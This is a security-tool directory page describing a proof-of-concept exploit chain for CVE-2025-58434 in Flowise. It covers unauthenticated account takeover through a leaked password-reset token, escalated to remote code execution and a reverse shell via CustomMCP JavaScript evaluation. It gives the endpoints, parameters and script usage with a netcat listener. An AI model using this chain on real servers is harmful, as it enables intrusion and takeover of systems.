Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/r3vpwnx/cve-2025-58434
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed Teaming
GitHubr3vpwnx/cve-2025-58434

CVE-2025-58434

Exploit chain for Flowise 3.0.5: unauthenticated account takeover via password-reset token disclosure (CVE-2025-58434) chained to CustomMCP JavaScript evaluation for remote code execution.

View Repository
3419 days agoNot yet reviewed
Share

CVE-2025-58434 - Flowise unauthenticated account takeover, chained to CustomMCP RCE (PoC)

Proof-of-concept for CVE-2025-58434, an unauthenticated account takeover in Flowise 3.0.5. POST /api/v1/account/forgot-password returns the target user's tempToken directly in the JSON response; feeding it to POST /api/v1/account/reset-password sets a known password for any account, including the first admin. This repository chains that takeover into code execution through a second, separate Flowise issue (CustomMCP server-side JavaScript evaluation).

Affected versions

Flowise <= 3.0.5 (account takeover, CVE-2025-58434); fixed in 3.0.6. See the GitHub advisory GHSA-wgpv-6j63-x5ph.

Root cause

  1. CVE-2025-58434 - password-reset token disclosure. The forgot-password endpoint returns the generated tempToken in its response body instead of only emailing it, so an unauthenticated attacker can complete the reset flow for any known account and take it over.
  2. CustomMCP mcpServerConfig server-side JavaScript evaluation (used here to turn the takeover into RCE). With a session and workspace API key obtained in step 1, POST /api/v1/node-load-method/customMCP with loadMethod=listActions evaluates the mcpServerConfig string as JavaScript in the Flowise process, reaching require('child_process').exec(). This is a separate Flowise issue with no CVE assigned at the time of writing.

Requirements

python3 -m pip install requests

Reproduction

flowise_ato_foothold.py - full chain (ATO to API key to CustomMCP reverse shell)

python3 flowise_ato_foothold.py <LHOST> <LPORT> [TARGET_IP] [FLOWISE_VHOST]
# have `nc -lvnp <LPORT>` ready
InputDescription
argv[1]LHOST - attacker IP for the reverse shell
argv[2]LPORT - attacker listener port
argv[3]Target IP (default placeholder TARGET_IP)
argv[4]Flowise vhost / Host header (default flowise.target.tld)

The target email reset in the chain is set near the top of the script (EMAIL); edit it to the account you are authorized to take over.

flowise_customMCP_rce.py - CustomMCP RCE only (needs an API key)

python3 flowise_customMCP_rce.py '<command>' '<FLOWISE_API_KEY>'
InputDescription
argv[1]Shell command to run on the target
argv[2]Flowise workspace API key

The target IP and vhost are set at the top of this script (IP, VH); edit them for your target.

Expected result: the full-chain script prints the leaked tempToken, the login status, the recovered API key, and fires the reverse-shell payload; your listener receives a shell. Note the injected JavaScript uses async child_process.exec deliberately (execSync blocks the Node event loop and freezes Flowise).

Impact

Unauthenticated takeover of any Flowise account, including the admin, and from there remote code execution in the Flowise server process via CustomMCP.

Severity

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) for the unauthenticated account takeover, per the GitHub advisory (GHSA-wgpv-6j63-x5ph) and NVD for CVE-2025-58434. The CustomMCP RCE used to escalate the takeover to code execution is a separate, post-authentication (API key) issue.

CWE-640 / CWE-200 (password-reset token disclosure) for CVE-2025-58434; CWE-94 (code injection) for the CustomMCP evaluation step.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-58434
  • GitHub advisory: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph

Disclaimer

For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.

Author

Dilanka Kaushal Hewage (r3vpwnx)

  • Site: https://r3vpwnx.space
  • Contact: [email protected]

License

MIT - see LICENSE.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →